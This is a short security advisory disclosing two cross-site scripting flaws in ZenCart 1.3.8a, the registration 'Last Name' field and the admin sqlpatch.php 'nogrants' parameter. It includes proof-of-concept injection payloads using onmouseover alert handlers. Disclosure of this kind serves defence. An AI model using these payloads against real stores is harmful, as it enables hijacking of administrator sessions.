ZenCart 1.3.8a Multiple XSS in Admin Interface

====================================================
ZENCART 1.3.8a MULTIPLE CROSS-SITE SCRIPTING (XSS)
====================================================

Application: ZenCart
Version: 1.3.8a
Critical: Low
Impact: Perform Cross Scripting Attacks
Persistent XSS
Websec Advisory: ws10-05

BACKGROUND
=======================

Zen Cart™ truly is the art of e-commerce; a free, user-friendly, open source shopping cart system. The software is being developed by group of like-minded shop owners, programmers, designers, and consultants that think e-commerce could be and should be done differently.

DESCRIPTION
=======================

[0] ZenCart version 1.3.8a is susceptible to a persistent Cross-Site Scripting attack (XSS) in the ‘Admin Home’ page. The ‘Last Name’ parameter is not sanitized when registering a user, therefore allowing execution of remote code on the administrator’s browser.

[1] The page sqlpatch.php is susceptible to a Cross-Site Scripting attack (XSS) in the ‘nogrants’ parameter.

EXPLOITS / POC
=======================

[0] http://zencart/index.php?main_page=login

Last Name: “onmouseover=alert(0)>XSS<!

[1] http:///zencart/admin/sqlpatch.php?nogrants=“style=“display:block;width:100%;height:100%; border: 2px solid red;” onmouseover=“alert(1);

WORKAROUND
=======================

Don’t browse untrusted websites while logged into your ZenCart administrator’s interface.

DISCLOSURE TIMELINE
=======================

2009/11/12 - Vulnerability discovered

REFERENCES
=======================

WebVuln - http://www.webvuln.com\ ZenCart - http://www.zen-cart.com